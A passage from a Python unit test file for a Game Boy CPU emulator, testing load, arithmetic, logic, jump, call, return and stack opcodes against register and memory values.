test_i_LDD_A_HL(self):\n\t\tself.SetUp()\n\t\tself.LDD_X_XX_test(self.cpu.i_LDD_A__HL_, 'a', 'hl')\n\t\t\n\tdef test_i_DEC_SP(self):\n\t\tself.SetUp()\n\t\tself.DecTest(self.cpu.i_DEC_SP, 'sp')\n\t\t\n\tdef test_i_INC_A(self):\n\t\tself.SetUp()\n\t\tself.IncTest(self.cpu.i_INC_A, 'a')\n\t\n\tdef test_i_DEC_A(self):\n\t\tself.SetUp()\n\t\tself.DecTest(self.cpu.i_DEC_A, 'a')\n\t\t\n\tdef test_i_LD_A_n(self):\n\t\tself.SetUp()\n\t\tself.LD_X_n_test(self.cpu.i_LD_A_n, 'a')\n\t\t\n\tdef test_i_CCF(self):\n\t\tself.SetUp()\n\t\tself.cpu.setFlags(['sub', 'halfcarry', 'zero'])\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.i_CCF(self.cpu)\n\t\tself.flags_test({'carry':1, 'sub':0, 'halfcarry':0, 'zero':1}, oldFlags)\n\t\tself.cpu.resetFlags(['zero'])\n\t\tself.cpu.setFlags(['sub', 'halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.i_CCF(self.cpu)\n\t\tself.flags_test({'carry':0, 'sub':0, 'halfcarry':0, 'zero':0}, oldFlags)\n\t\t\n\tdef test_i_LD_B_B(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_B_B, 'b', 'b')\n\t\t\n\tdef test_i_LD_B_C(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_B_C, 'b', 'c')\n\t\t\n\tdef test_i_LD_B_D(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_B_D, 'b', 'd')\n\t\t\n\tdef test_i_LD_B_E(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_B_E, 'b', 'e')\n\t\t\n\tdef test_i_LD_B_H(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_B_H, 'b', 'h')\n\t\t\n\tdef test_i_LD_B_L(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_B_L, 'b', 'l')\n\n\tdef test_i_LD_B_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.LD_X_XX_mem_test(self.cpu.i_LD_B__HL_, 'b', 'hl')\n\t\t\n\tdef test_i_LD_B_A(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_B_A, 'b', 'a')\n\t\t\n\tdef test_i_LD_C_B(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_C_B, 'c', 'b')\n\t\t\n\tdef test_i_LD_C_C(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_C_C, 'c', 'c')\n\t\t\n\tdef test_i_LD_C_D(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_C_D, 'c', 'd')\n\t\t\n\tdef test_i_LD_C_E(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_C_E, 'c', 'e')\n\t\t\n\tdef test_i_LD_C_H(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_C_H, 'c', 'h')\n\t\t\n\tdef test_i_LD_C_L(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_C_L, 'c', 'l')\n\t\t\n\tdef test_i_LD_C_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.LD_X_XX_mem_test(self.cpu.i_LD_C__HL_, 'c', 'hl')\n\n\tdef test_i_LD_C_A(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_C_A, 'c', 'a')\n\t\t\n\tdef test_i_LD_D_B(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_D_B, 'd', 'b')\n\t\t\n\tdef test_i_LD_D_C(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_D_C, 'd', 'c')\n\t\t\n\tdef test_i_LD_D_D(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_D_D, 'd', 'd')\n\t\t\n\tdef test_i_LD_D_E(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_D_E, 'd', 'e')\n\t\t\n\tdef test_i_LD_D_H(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_D_H, 'd', 'h')\n\t\t\n\tdef test_i_LD_D_L(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_D_L, 'd', 'l')\n\t\t\n\tdef test_i_LD_D_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.LD_X_XX_mem_test(self.cpu.i_LD_D__HL_, 'd', 'hl')\n\n\tdef test_i_LD_D_A(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_D_A, 'd', 'a')\n\t\n\tdef test_i_LD_E_B(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_E_B, 'e', 'b')\n\t\t\n\tdef test_i_LD_E_C(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_E_C, 'e', 'c')\n\t\t\n\tdef test_i_LD_E_D(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_E_D, 'e', 'd')\n\t\t\n\tdef test_i_LD_E_E(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_E_E, 'e', 'e')\n\t\t\n\tdef test_i_LD_E_H(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_E_H, 'e', 'h')\n\t\t\n\tdef test_i_LD_E_L(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_E_L, 'e', 'l')\n\t\t\n\tdef test_i_LD_E_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.LD_X_XX_mem_test(self.cpu.i_LD_E__HL_, 'e', 'hl')\n\n\tdef test_i_LD_E_A(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_E_A, 'e', 'a')\n\t\t\n\tdef test_i_LD_H_B(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_H_B, 'h', 'b')\n\t\t\n\tdef test_i_LD_H_C(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_H_C, 'h', 'c')\n\t\t\n\tdef test_i_LD_H_D(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_H_D, 'h', 'd')\n\t\t\n\tdef test_i_LD_H_E(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_H_E, 'h', 'e')\n\t\t\n\tdef test_i_LD_H_H(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_H_H, 'h', 'h')\n\t\t\n\tdef test_i_LD_H_L(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_H_L, 'h', 'l')\n\t\t\n\tdef test_i_LD_H_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.LD_X_XX_mem_test(self.cpu.i_LD_H__HL_, 'h', 'hl')\n\n\tdef test_i_LD_H_A(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_H_A, 'h', 'a')\t\n\t\t\n\tdef test_i_LD_L_B(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_L_B, 'l', 'b')\n\t\t\n\tdef test_i_LD_L_C(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_L_C, 'l', 'c')\n\t\t\n\tdef test_i_LD_L_D(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_L_D, 'l', 'd')\n\t\t\n\tdef test_i_LD_L_E(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_L_E, 'l', 'e')\n\t\t\n\tdef test_i_LD_L_H(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_L_H, 'l', 'h')\n\t\t\n\tdef test_i_LD_L_L(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_L_L, 'l', 'l')\n\t\t\n\tdef test_i_LD_L_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.LD_X_XX_mem_test(self.cpu.i_LD_L__HL_, 'l', 'hl')\n\n\tdef test_i_LD_L_A(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_L_A, 'l', 'a')\n\t\t\n\tdef test_i_LD_HL_B(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_X_test(self.cpu.i_LD__HL__B, 'hl', 'b')\n\t\n\tdef test_i_LD_HL_C(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_X_test(self.cpu.i_LD__HL__C, 'hl', 'c')\n\t\t\n\tdef test_i_LD_HL_D(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_X_test(self.cpu.i_LD__HL__D, 'hl', 'd')\n\t\t\n\tdef test_i_LD_HL_E(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_X_test(self.cpu.i_LD__HL__E, 'hl', 'e')\n\t\t\n\tdef test_i_LD_HL_H(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_X_test(self.cpu.i_LD__HL__H, 'hl', 'h')\n\t\t\n\tdef test_i_LD_HL_L(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_X_test(self.cpu.i_LD__HL__L, 'hl', 'l')\n\t\t\n\tdef test_i_HALT(self):\n\t\tpass\n\t\t#TODO: test properly\n\t\t\n\tdef test_i_LD_HL_A(self):\n\t\tself.SetUp()\n\t\tself.LD_XX_X_test(self.cpu.i_LD__HL__A, 'hl', 'a')\n\n\tdef test_i_LD_A_B(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_A_B, 'a', 'b')\n\t\t\n\tdef test_i_LD_A_C(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_A_C, 'a', 'c')\n\t\t\n\tdef test_i_LD_A_D(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_A_D, 'a', 'd')\n\t\t\n\tdef test_i_LD_A_E(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_A_E, 'a', 'e')\n\t\t\n\tdef test_i_LD_A_H(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_A_H, 'a', 'h')\n\t\t\n\tdef test_i_LD_A_L(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_A_L, 'a', 'l')\n\t\t\n\tdef test_i_LD_A_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.LD_X_XX_mem_test(self.cpu.i_LD_A__HL_, 'a', 'hl')\n\n\tdef test_i_LD_A_A(self):\n\t\tself.SetUp()\n\t\tself.LD_X_X_test(self.cpu.i_LD_A_A, 'a', 'a')\n\n\tdef test_i_ADD_B(self):\n\t\tself.SetUp()\n\t\tself.ADD_X_X_test(self.cpu.i_ADD_A_B, 'a', 'b')\n\n\tdef test_i_ADD_C(self):\n\t\tself.SetUp()\n\t\tself.ADD_X_X_test(self.cpu.i_ADD_A_C, 'a', 'c')\t\t\n\t\t\n\tdef test_i_ADD_D(self):\n\t\tself.SetUp()\n\t\tself.ADD_X_X_test(self.cpu.i_ADD_A_D, 'a', 'd')\n\t\t\n\tdef test_i_ADD_E(self):\n\t\tself.SetUp()\n\t\tself.ADD_X_X_test(self.cpu.i_ADD_A_E, 'a', 'e')\n\t\t\n\tdef test_i_ADD_H(self):\n\t\tself.SetUp()\n\t\tself.ADD_X_X_test(self.cpu.i_ADD_A_H, 'a', 'h')\n\t\t\n\tdef test_i_ADD_L(self):\n\t\tself.SetUp()\n\t\tself.ADD_X_X_test(self.cpu.i_ADD_A_L, 'a', 'l')\n\t\t\n\tdef test_i_ADD_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.ADD_X_XX_mem_test(self.cpu.i_ADD_A__HL_, 'a', 'hl')\n\t\t\n\tdef test_i_ADD_A(self):\n\t\tself.SetUp()\n\t\tself.ADD_X_X_test(self.cpu.i_ADD_A_A, 'a', 'a')\n\t\t\n\tdef test_i_ADC_B(self):\n\t\tself.SetUp()\n\t\tself.ADC_X_X_test(self.cpu.i_ADC_A_B, 'a', 'b')\n\t\t\n\tdef test_i_ADC_C(self):\n\t\tself.SetUp()\n\t\tself.ADC_X_X_test(self.cpu.i_ADC_A_C, 'a', 'c')\t\t\n\t\t\n\tdef test_i_ADC_D(self):\n\t\tself.SetUp()\n\t\tself.ADC_X_X_test(self.cpu.i_ADC_A_D, 'a', 'd')\t\n\t\t\n\tdef test_i_ADC_E(self):\n\t\tself.SetUp()\n\t\tself.ADC_X_X_test(self.cpu.i_ADC_A_E, 'a', 'e')\n\t\t\n\tdef test_i_ADC_H(self):\n\t\tself.SetUp()\n\t\tself.ADC_X_X_test(self.cpu.i_ADC_A_H, 'a', 'h')\n\n\tdef test_i_ADC_L(self):\n\t\tself.SetUp()\n\t\tself.ADC_X_X_test(self.cpu.i_ADC_A_L, 'a', 'l')\n\t\n\tdef test_i_ADC_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.ADC_X_XX_mem_test(self.cpu.i_ADC_A__HL_, 'a', 'hl')\n\n\tdef test_i_ADC_A(self):\n\t\tself.SetUp()\n\t\tself.ADC_X_X_test(self.cpu.i_ADC_A_A, 'a', 'a')\n\t\t\n\tdef test_i_SUB_A_B(self):\n\t\tself.SetUp()\n\t\tself.SUB_X_X_test(self.cpu.i_SUB_A_B, 'a', 'b')\n\t\t\n\tdef test_i_SUB_A_C(self):\n\t\tself.SetUp()\n\t\tself.SUB_X_X_test(self.cpu.i_SUB_A_C, 'a', 'c')\n\t\t\n\tdef test_i_SUB_A_D(self):\n\t\tself.SetUp()\n\t\tself.SUB_X_X_test(self.cpu.i_SUB_A_D, 'a', 'd')\n\t\t\n\tdef test_i_SUB_A_E(self):\n\t\tself.SetUp()\n\t\tself.SUB_X_X_test(self.cpu.i_SUB_A_E, 'a', 'e')\n\n\tdef test_i_SUB_A_H(self):\n\t\tself.SetUp()\n\t\tself.SUB_X_X_test(self.cpu.i_SUB_A_H, 'a', 'h')\n\t\t\n\tdef test_i_SUB_A_L(self):\n\t\tself.SetUp()\n\t\tself.SUB_X_X_test(self.cpu.i_SUB_A_L, 'a', 'l')\n\t\t\n\tdef test_i_SUB_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.SUB_X_XX_mem_test(self.cpu.i_SUB_A__HL_, 'a', 'hl')\n\n\tdef test_i_SUB_A_A(self):\n\t\tself.SetUp()\n\t\tself.SUB_X_X_test(self.cpu.i_SUB_A_A, 'a', 'a')\n\t\t\n\tdef test_i_SBC_B(self):\n\t\tself.SetUp()\n\t\tself.SBC_X_X_test(self.cpu.i_SBC_A_B, 'a', 'b')\n\t\t\n\tdef test_i_SBC_C(self):\n\t\tself.SetUp()\n\t\tself.SBC_X_X_test(self.cpu.i_SBC_A_C, 'a', 'c')\n\t\t\n\tdef test_i_SBC_D(self):\n\t\tself.SetUp()\n\t\tself.SBC_X_X_test(self.cpu.i_SBC_A_D, 'a', 'd')\n\t\t\n\tdef test_i_SBC_E(self):\n\t\tself.SetUp()\n\t\tself.SBC_X_X_test(self.cpu.i_SBC_A_E, 'a', 'e')\n\t\t\n\tdef test_i_SBC_H(self):\n\t\tself.SetUp()\n\t\tself.SBC_X_X_test(self.cpu.i_SBC_A_H, 'a', 'h')\n\t\t\n\tdef test_i_SBC_L(self):\n\t\tself.SetUp()\n\t\tself.SBC_X_X_test(self.cpu.i_SBC_A_L, 'a', 'l')\n\t\t\n\tdef test_i_SBC_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.SBC_X_XX_mem_test(self.cpu.i_SBC_A__HL_, 'a', 'hl')\n\t\n\tdef test_i_SBC_A(self):\n\t\tself.SetUp()\n\t\tself.SBC_X_X_test(self.cpu.i_SBC_A_A, 'a', 'a')\t\n\t\n\tdef test_i_AND_B(self):\n\t\tself.SetUp()\n\t\tself.AND_X_X_test(self.cpu.i_AND_B, 'a', 'b')\t\n\n\tdef test_i_AND_C(self):\n\t\tself.SetUp()\n\t\tself.AND_X_X_test(self.cpu.i_AND_C, 'a', 'c')\n\t\t\n\tdef test_i_AND_D(self):\n\t\tself.SetUp()\n\t\tself.AND_X_X_test(self.cpu.i_AND_D, 'a', 'd')\t\n\t\t\n\tdef test_i_AND_E(self):\n\t\tself.SetUp()\n\t\tself.AND_X_X_test(self.cpu.i_AND_E, 'a', 'e')\t\n\n\tdef test_i_AND_H(self):\n\t\tself.SetUp()\n\t\tself.AND_X_X_test(self.cpu.i_AND_H, 'a', 'h')\t\n\t\t\n\tdef test_i_AND_L(self):\n\t\tself.SetUp()\n\t\tself.AND_X_X_test(self.cpu.i_AND_L, 'a', 'l')\n\t\t\n\tdef test_i_AND_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.AND_X_XX_mem_test(self.cpu.i_AND__HL_, 'a', 'hl')\n\n\tdef test_i_AND_A(self):\n\t\tself.SetUp()\n\t\tself.AND_X_X_test(self.cpu.i_AND_A, 'a', 'a')\n\t\t\n\tdef test_i_XOR_B(self):\n\t\tself.SetUp()\n\t\tself.XOR_X_X_test(self.cpu.i_XOR_B, 'a', 'b')\n\t\t\n\tdef test_i_XOR_C(self):\n\t\tself.SetUp()\n\t\tself.XOR_X_X_test(self.cpu.i_XOR_C, 'a', 'c')\n\t\t\n\tdef test_i_XOR_D(self):\n\t\tself.SetUp()\n\t\tself.XOR_X_X_test(self.cpu.i_XOR_D, 'a', 'd')\n\t\t\n\tdef test_i_XOR_E(self):\n\t\tself.SetUp()\n\t\tself.XOR_X_X_test(self.cpu.i_XOR_E, 'a', 'e')\n\t\t\n\tdef test_i_XOR_H(self):\n\t\tself.SetUp()\n\t\tself.XOR_X_X_test(self.cpu.i_XOR_H, 'a', 'h')\n\t\t\n\tdef test_i_XOR_L(self):\n\t\tself.SetUp()\n\t\tself.XOR_X_X_test(self.cpu.i_XOR_L, 'a', 'l')\n\t\t\n\tdef test_i_XOR_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.XOR_X_XX_mem_test(self.cpu.i_XOR__HL_, 'a', 'hl')\n\t\t\n\tdef test_i_XOR_A(self):\n\t\tself.SetUp()\n\t\tself.XOR_X_X_test(self.cpu.i_XOR_A, 'a', 'a')\n\t\t\n\tdef test_i_OR_B(self):\n\t\tself.SetUp()\n\t\tself.OR_X_X_test(self.cpu.i_OR_B, 'a', 'b')\n\t\t\n\tdef test_i_OR_C(self):\n\t\tself.SetUp()\n\t\tself.OR_X_X_test(self.cpu.i_OR_C, 'a', 'c')\n\t\t\n\tdef test_i_OR_D(self):\n\t\tself.SetUp()\n\t\tself.OR_X_X_test(self.cpu.i_OR_D, 'a', 'd')\n\t\t\n\tdef test_i_OR_E(self):\n\t\tself.SetUp()\n\t\tself.OR_X_X_test(self.cpu.i_OR_E, 'a', 'e')\n\t\t\n\tdef test_i_OR_H(self):\n\t\tself.SetUp()\n\t\tself.OR_X_X_test(self.cpu.i_OR_H, 'a', 'h')\n\n\tdef test_i_OR_L(self):\n\t\tself.SetUp()\n\t\tself.OR_X_X_test(self.cpu.i_OR_L, 'a', 'l')\n\t\t\n\tdef test_i_OR_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.OR_X_XX_mem_test(self.cpu.i_OR__HL_, 'a', 'hl')\n\t\t\n\tdef test_i_OR_A(self):\n\t\tself.SetUp()\n\t\tself.OR_X_X_test(self.cpu.i_OR_A, 'a', 'a')\t\n\t\t\n\tdef test_i_CP_B(self):\n\t\tself.SetUp()\n\t\tself.CP_X_X_test(self.cpu.i_CP_B, 'a', 'b')\n\n\tdef test_i_CP_C(self):\n\t\tself.SetUp()\n\t\tself.CP_X_X_test(self.cpu.i_CP_C, 'a', 'c')\n\t\t\n\tdef test_i_CP_D(self):\n\t\tself.SetUp()\n\t\tself.CP_X_X_test(self.cpu.i_CP_D, 'a', 'd')\n\t\t\n\tdef test_i_CP_E(self):\n\t\tself.SetUp()\n\t\tself.CP_X_X_test(self.cpu.i_CP_E, 'a', 'e')\n\t\t\n\tdef test_i_CP_H(self):\n\t\tself.SetUp()\n\t\tself.CP_X_X_test(self.cpu.i_CP_H, 'a', 'h')\n\t\t\n\tdef test_i_CP_L(self):\n\t\tself.SetUp()\n\t\tself.CP_X_X_test(self.cpu.i_CP_L, 'a', 'l')\n\t\t\n\tdef test_i_CP_HL_mem(self):\n\t\tself.SetUp()\n\t\tself.CP_X_XX_mem_test(self.cpu.i_CP__HL_, 'a', 'hl')\n\t\t\n\tdef test_i_CP_A(self):\n\t\tself.SetUp()\n\t\tself.CP_X_X_test(self.cpu.i_CP_A, 'a', 'a')\n\t\t\n\tdef test_i_RET_NZ(self):\n\t\tself.SetUp()\n\t\tself.RET_test(self.cpu.i_RET_NZ, 'Nzero')\n\t\t\n\tdef test_i_POP_BC(self):\n\t\tself.SetUp()\n\t\tself.POP_XX_test(self.cpu.i_POP_BC, 'bc')\n\t\t\n\tdef test_i_JP_NZ_nn(self):\n\t\tself.SetUp()\n\t\tself.RelJumpTest(self.cpu.i_JP_NZ_nn, \"Nzero\", twobytes=1)\n\t\t\n\tdef test_i_JP_nn(self):\n\t\tself.SetUp()\n\t\tself.RelJumpTest(self.cpu.i_JP_nn, \".\", twobytes=1)\n\t\t\n\tdef test_i_CALL_NZ_nn(self):\n\t\tself.SetUp()\n\t\tself.CALL_nn_test(self.cpu.i_CALL_NZ_nn, 'Nzero')\n\t\n\tdef test_i_PUSH_BC(self):\n\t\tself.SetUp()\n\t\tself.PUSH_XX_test(self.cpu.i_PUSH_BC, 'bc')\n\t\t\n\tdef test_i_ADD_A_n(self):\n\t\tself.SetUp()\n\t\tself.ADD_X_n_test(self.cpu.i_ADD_A_n, 'a')\n\t\t\n\tdef test_i_RST_0(self):\n\t\tself.SetUp()\n\t\tself.RST_X_test(self.cpu.i_RST_0, '0')\n\t\t\n\tdef test_i_RET_Z(self):\n\t\tself.SetUp()\n\t\tself.RET_test(self.cpu.i_RET_Z, 'zero')\n\t\t\n\tdef test_i_RET(self):\n\t\tself.SetUp()\n\t\tself.RET_test(self.cpu.i_RET, '.')\n\t\t\n\tdef test_i_JP_Z_nn(self):\n\t\tself.SetUp()\n\t\tself.RelJumpTest(self.cpu.i_JP_Z_nn, \"zero\", twobytes=1)\n\t\t\n\t#def test_i_Ext_ops(self):\n\t#\tself.SetUp()\n\t#\tself.assertEqual(self.cpu.extraOpcodeMode, 0)\n\t#\tself.cpu.i_Ext_ops(self.cpu)\n\t#\tself.assertEqual(self.cpu.extraOpcodeMode, 1)\n\t\t\n\tdef test_i_CALL_Z_nn(self):\n\t\tself.SetUp()\n\t\tself.CALL_nn_test(self.cpu.i_CALL_Z_nn, 'zero')\n\t\t\n\tdef test_i_CALL_nn(self):\n\t\tself.SetUp()\n\t\tself.CALL_nn_test(self.cpu.i_CALL_nn, \".\")\n\t\t\n\tdef test_i_ADC_A_n(self):\n\t\tself.SetUp()\n\t\tself.ADC_X_n_test(self.cpu.i_ADC_A_n, 'a')\n\t\t\n\tdef test_i_RST_8(self):\n\t\tself.SetUp()\n\t\tself.RST_X_test(self.cpu.i_RST_8, '8')\n\t\t\n\tdef test_i_RET_NC(self):\n\t\tself.SetUp()\n\t\tself.RET_test(self.cpu.i_RET_NC, \"Ncarry\")\n\t\t\n\tdef test_i_POP_DE(self):\n\t\tself.SetUp()\n\t\tself.POP_XX_test(self.cpu.i_POP_DE, 'de')\n\t\t\n\tdef test_i_JP_NC_nn(self):\n\t\tself.SetUp()\n\t\tself.RelJumpTest(self.cpu.i_JP_NC_nn, \"Ncarry\", twobytes=1)\n\t\n\tdef test_i_XXd3(self):\n\t\tpass\n\t\t\n\tdef test_i_CALL_NC_nn(self):\n\t\tself.SetUp()\n\t\tself.CALL_nn_test(self.cpu.i_CALL_NC_nn, \"Ncarry\")\n\t\t\n\tdef test_i_PUSH_DE(self):\n\t\tself.SetUp()\n\t\tself.PUSH_XX_test(self.cpu.i_PUSH_DE, 'de')\n\t\t\n\tdef test_i_SUB_A_n(self):\n\t\tself.SetUp()\n\t\tself.SUB_X_n_test(self.cpu.i_SUB_A_n, 'a')\n\t\t\n\tdef test_i_RST_10(self):\n\t\tself.SetUp()\n\t\tself.RST_X_test(self.cpu.i_RST_10, '16')\n\t\t\n\tdef test_i_RET_C(self):\n\t\tself.SetUp()\n\t\tself.RET_test(self.cpu.i_RET_C, \"carry\")\n\t\t\n\tdef test_i_RETI(self):\n\t\tself.SetUp()\n\t\tself.RET_test(self.cpu.i_RETI, \".\")\n\t\tself.assertEqual(self.cpu.cpu.ime, 1)\n\t\t\n\tdef test_i_JP_C_nn(self):\n\t\tself.SetUp()\n\t\tself.RelJumpTest(self.cpu.i_JP_C_nn, 'carry', twobytes=1)\n\t\n\tdef test_i_XXdb(self):\n\t\tpass\n\t\n\tdef test_i_CALL_C_nn(self):\n\t\tself.SetUp()\n\t\tself.CALL_nn_test(self.cpu.i_CALL_C_nn, 'carry')\n\t\t\n\tdef test_i_XXdd(self):\n\t\tpass\n\t\t\n\tdef test_i_SBC_A_n(self):\n\t\tself.SetUp()\n\t\tself.SBC_X_n(self.cpu.i_SBC_A_n, 'a')\n\t\t\n\tdef test_i_RST_18(self):\n\t\tself.SetUp()\n\t\tself.RST_X_test(self.cpu.i_RST_18, str(int(0x18)))\n\t\t\n\tdef test_i_LDH_n_A(self):\n\t\tself.SetUp()\n\t\timmediate = 0x41\n\t\timmediate2 = 0x40\n\t\tself.cpu['a'] = immediate2\n\t\tself.cpu[self.cpu['pc']+1] = immediate\n\t\tself.cpu.i_LDH__n__A(self.cpu)\n\t\tself.assertEqual(self.cpu.mmu.rb(0xff00 + immediate), immediate2)\n\t\t\n\tdef test_i_POP_HL(self):\n\t\tself.SetUp()\n\t\tself.POP_XX_test(self.cpu.i_POP_HL, 'hl')\n\t\t\n\tdef test_i_LDH_C_A(self):\n\t\tself.SetUp()\n\t\timmediate = 0x41\n\t\timmediate2 = 0xab\n\t\tself.cpu['a'] = immediate2\n\t\tself.cpu['c'] = immediate\n\t\tself.cpu.i_LDH__C__A(self.cpu)\n\t\tself.assertEqual(self.cpu.mmu.rb(0xff00 + immediate), immediate2)\n\t\t\n\tdef test_i_XXe3(self):\n\t\tpass\n\t\t\n\tdef test_i_XXe4(self):\n\t\tpass\n\t\t\n\tdef test_i_PUSH_HL(self):\n\t\tself.SetUp()\n\t\tself.PUSH_XX_test(self.cpu.i_PUSH_HL, 'hl')\n\t\t\n\tdef test_i_AND_n(self):\n\t\tself.SetUp()\n\t\timmediate = 0x13\n\t\timmediate2 = 0xab\n\t\tself.cpu['a'] = immediate2\n\t\tself.cpu[self.cpu['pc']+1] = immediate\n\t\tself.cpu.i_AND_n(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], immediate2 & immediate)\n\t\t\n\tdef test_i_RST_20(self):\n\t\tself.SetUp()\n\t\tself.RST_X_test(self.cpu.i_RST_20, str(int(0x20)))\n\t\t\n\tdef test_i_ADD_SP_d(self):\n\t\tself.SetUp()\n\t\tself.ADD_X_n_test(self.cpu.i_ADD_SP_d, 'sp', signed=1)\n\t\t\n\tdef test_i_JP__HL_(self):\n\t\tself.SetUp()\n\t\taddress = 0x1337\n\t\tself.cpu['hl'] = address\n\t\tself.cpu.i_JP__HL_(self.cpu)\n\t\tself.assertEqual(self.cpu['pc'], address)\n\t\t\n\tdef test_i_LD_nn_A(self):\n\t\tself.SetUp()\n\t\taddress = 0xface\n\t\timmediate = 0x13\n\t\tself.cpu.mmu.ww(self.cpu['pc']+1, address)\n\t\tself.cpu['a'] = immediate\n\t\tself.cpu.i_LD__nn__A(self.cpu)\n\t\tself.assertEqual(self.cpu.mmu.rw(address), immediate)\t\t\n\t\n\tdef test_i_XXeb(self):\n\t\tpass\n\t\t\n\tdef test_i_XXec(self):\n\t\tpass\n\t\t\n\tdef test_i_XXed(self):\n\t\tpass\n\t\t\n\tdef test_i_XOR_n(self):\n\t\tself.SetUp()\n\t\timmediate = 0x13\n\t\timmediate2 = 0xab\n\t\tself.cpu['a'] = immediate2\n\t\tself.cpu[self.cpu['pc']+1] = immediate\n\t\tself.cpu.i_XOR_n(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], immediate2 ^ immediate)\t\t\n\t\n\tdef test_i_RST_28(self):\n\t\tself.SetUp()\n\t\tself.RST_X_test(self.cpu.i_RST_28, str(int(0x28)))\n\t\t\n\tdef test_i_LDH_A_n(self):\n\t\tself.SetUp()\n\t\timmediate = 0x13\n\t\timmediate2 = 0x37\n\t\taddress = 0xab\n\t\tself.cpu[self.cpu['pc']+1] = address\n\t\tself.cpu[address+0xff00] = immediate2\n\t\tself.cpu.i_LDH_A__n_(self.cpu)\n\t\tself.assertEqual(self.cpu['a'], immediate2)\n\n\tdef test_i_POP_AF(self):\n\t\tself.SetUp()\n\t\tself.POP_XX_test(self.cpu.i_POP_AF, 'af')\n\t\t\n\tdef test_i_XXf2(self):\n\t\tpass\n\t\t\n\tdef test_i_DI(self):\n\t\tself.SetUp()\n\t\tself.cpu.cpu.ime = 1\n\t\tself.assertEquals(self.cpu.cpu.ime, 